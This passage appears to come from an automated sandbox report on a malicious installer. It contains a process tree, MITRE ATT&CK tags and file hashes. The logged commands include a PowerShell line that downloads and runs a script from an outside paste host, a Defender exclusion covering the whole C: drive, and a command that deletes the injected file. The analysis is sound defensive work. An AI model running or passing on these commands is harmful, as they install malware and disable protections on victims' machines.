  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6732 /prefetch:1
  2⤵
  PID:5744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2220 /prefetch:8
  2⤵
  PID:6116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:5672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1056 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:2384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4736 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:5604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1912,17167247329818885256,6254025199253226869,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5780 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious use of SetWindowsHookEx
  PID:5452

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4512

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4696

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D4 0x00000000000004D0
1⤵
PID:3724

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3160 -ip 3160
1⤵
PID:1704

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3160 -ip 3160
1⤵
PID:1048

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:668

C:\Users\Admin\Downloads\Install_x64.exe
"C:\Users\Admin\Downloads\Install_x64.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:3816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:/'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1100
- C:\Program Files\launcher289\1.exe
  "C:\Program Files\launcher289\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4300
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5324
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 480
      4⤵
      Program crash
      PID:5440
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5324 -s 484
      4⤵
      Program crash
      PID:5568
- C:\Program Files\launcher289\1.exe
  "C:\Program Files\launcher289\1.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:4056
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5704
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5704 -s 472
      4⤵
      Program crash
      PID:6016
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5704 -s 456
      4⤵
      Program crash
      PID:5604
- C:\Program Files\launcher289\3.exe
  "C:\Program Files\launcher289\3.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:2476
- - C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4964
  - - C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5696

C:\Program Files\launcher289\1.exe
"C:\Program Files\launcher289\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1648
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1652
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1652 -s 380
    3⤵
    - Program crash
    PID:4916
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1652 -s 492
    3⤵
    - Program crash
    PID:2480

C:\Program Files\launcher289\2.exe
"C:\Program Files\launcher289\2.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4360
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4536

C:\Program Files\launcher289\3.exe
"C:\Program Files\launcher289\3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:952
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4880
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4568
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1652 -ip 1652
1⤵
PID:3632

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1652 -ip 1652
1⤵
PID:4176

C:\Program Files\launcher289\1.exe
"C:\Program Files\launcher289\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5052
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2692
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 460
    3⤵
    - Program crash
    PID:4308
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2692 -s 456
    3⤵
    - Program crash
    PID:2028

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4536 -ip 4536
1⤵
PID:5072

C:\Program Files\launcher289\3.exe
"C:\Program Files\launcher289\3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3996
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4820
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3796

C:\Program Files\launcher289\1.exe
"C:\Program Files\launcher289\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2396
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:236
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 236 -s 460
    3⤵
    - Program crash
    PID:3864
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 236 -s 432
    3⤵
    - Program crash
    PID:952

C:\Program Files\launcher289\1.exe
"C:\Program Files\launcher289\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3372
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2584
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 436
    3⤵
    - Program crash
    PID:2708
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2584 -s 444
    3⤵
    - Program crash
    PID:4740

C:\Program Files\launcher289\3.exe
"C:\Program Files\launcher289\3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5108
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1648
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:408
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1232

C:\Program Files\launcher289\3.exe
"C:\Program Files\launcher289\3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1468
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5052
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1912
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:852

C:\Program Files\launcher289\1.exe
"C:\Program Files\launcher289\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4300
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:1692
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1692 -s 460
    3⤵
    - Program crash
    PID:772
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1692 -s 484
    3⤵
    - Program crash
    PID:3708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 400 -p 2692 -ip 2692
1⤵
PID:1416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 2584 -ip 2584
1⤵
PID:1472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 2692 -ip 2692
1⤵
PID:4656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 2584 -ip 2584
1⤵
PID:1648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 236 -ip 236
1⤵
PID:5072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 236 -ip 236
1⤵
PID:2000

C:\Program Files\launcher289\1.exe
"C:\Program Files\launcher289\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:3224
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2400
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2400 -s 456
    3⤵
    - Program crash
    PID:4308
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2400 -s 492
    3⤵
    - Program crash
    PID:2716

C:\Program Files\launcher289\3.exe
"C:\Program Files\launcher289\3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4756
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4024
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2428
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1012

C:\Program Files\launcher289\1.exe
"C:\Program Files\launcher289\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1700
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:3796
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 456
    3⤵
    - Program crash
    PID:2236
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3796 -s 492
    3⤵
    - Program crash
    PID:4352

C:\Program Files\launcher289\3.exe
"C:\Program Files\launcher289\3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:400
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:420
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:4212
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 1692 -ip 1692
1⤵
PID:2036

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 1692 -ip 1692
1⤵
PID:1544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2400 -ip 2400
1⤵
PID:3140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 2400 -ip 2400
1⤵
PID:5052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3796 -ip 3796
1⤵
PID:1176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3796 -ip 3796
1⤵
PID:2352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:3116

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3296
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:1156
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1964 -parentBuildID 20240401114208 -prefsHandle 1892 -prefMapHandle 1884 -prefsLen 23678 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {26456bae-86ca-4669-910b-f58e83e1b50a} 1156 "\\.\pipe\gecko-crash-server-pipe.1156" gpu
    3⤵
    PID:980
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2364 -parentBuildID 20240401114208 -prefsHandle 2356 -prefMapHandle 2344 -prefsLen 23714 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5073ec1-6fce-4390-a2c4-1da5aeb6bf57} 1156 "\\.\pipe\gecko-crash-server-pipe.1156" socket
    3⤵
    - Checks processor information in registry
    PID:1248
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3316 -childID 1 -isForBrowser -prefsHandle 3308 -prefMapHandle 3304 -prefsLen 23855 -prefMapSize 244658 -jsInitHandle 1284 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f7ee5ea0-b14e-4695-b1e1-5b7f7266434b} 1156 "\\.\pipe\gecko-crash-server-pipe.1156" tab
    3⤵
    PID:2480
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3192 -childID 2 -isForBrowser -prefsHandle 3172 -prefMapHandle 2768 -prefsLen 29088 -prefMapSize 244658 -jsInitHandle 1284 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {30b99c43-f188-49f2-98c3-e87c636b914f} 1156 "\\.\pipe\gecko-crash-server-pipe.1156" tab
    3⤵
    PID:1112
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4792 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4756 -prefMapHandle 4752 -prefsLen 29088 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d079fc60-54eb-4b51-a0d3-8d4738191208} 1156 "\\.\pipe\gecko-crash-server-pipe.1156" utility
    3⤵
    - Checks processor information in registry
    PID:5304
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5372 -childID 3 -isForBrowser -prefsHandle 4908 -prefMapHandle 5360 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1284 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {f50f1167-3259-43b1-add0-c7d384efdc10} 1156 "\\.\pipe\gecko-crash-server-pipe.1156" tab
    3⤵
    PID:5448
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5516 -childID 4 -isForBrowser -prefsHandle 5524 -prefMapHandle 5528 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1284 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b1ee081e-89f5-4c57-8ad6-c54a7579dec1} 1156 "\\.\pipe\gecko-crash-server-pipe.1156" tab
    3⤵
    PID:5452
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5500 -childID 5 -isForBrowser -prefsHandle 5724 -prefMapHandle 5728 -prefsLen 27051 -prefMapSize 244658 -jsInitHandle 1284 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5557e357-8b2a-4f1a-9d26-64e8f61cffb0} 1156 "\\.\pipe\gecko-crash-server-pipe.1156" tab
    3⤵
    PID:5472

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 5324 -ip 5324
1⤵
PID:5412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5324 -ip 5324
1⤵
PID:5512

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5708

C:\Program Files\launcher289\3.exe
"C:\Program Files\launcher289\3.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5972
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - System Location Discovery: System Language Discovery
  PID:5820
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:5804
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5500

C:\Program Files\launcher289\1.exe
"C:\Program Files\launcher289\1.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4588
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:5668
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 464
    3⤵
    - Program crash
    PID:5448
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5668 -s 492
    3⤵
    - Program crash
    PID:5160

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 5668 -ip 5668
1⤵
PID:5676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 5668 -ip 5668
1⤵
PID:5220

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 5704 -ip 5704
1⤵
PID:6004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5704 -ip 5704
1⤵
PID:6008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Subvert Trust Controls

T1553

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\748992d1-fa86-408e-a800-e40e6ec9ce72.tmp

Filesize
11KB

MD5
975bfee16d081721f969f15383c37cc4

SHA1
7ef77a22068e2d90b1d491a0133eeb3701783131

SHA256
bc9fb47cc93506b7a686e847ee17194b733a07e128b0cf084634046716cb5371

SHA512
34b760e0540649d536fb0d7044a02ef205d4df8fd7a3f4094dbadd18d25cabe6a7603513af2d556f9bfa97a4649435d5351c01fe3b9cb03760677a0e3157a071

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
2ee16858e751901224340cabb25e5704

SHA1
24e0d2d301f282fb8e492e9df0b36603b28477b2

SHA256
e9784fcff01f83f4925f23e3a24bce63314ea503c2091f7309c014895fead33c

SHA512
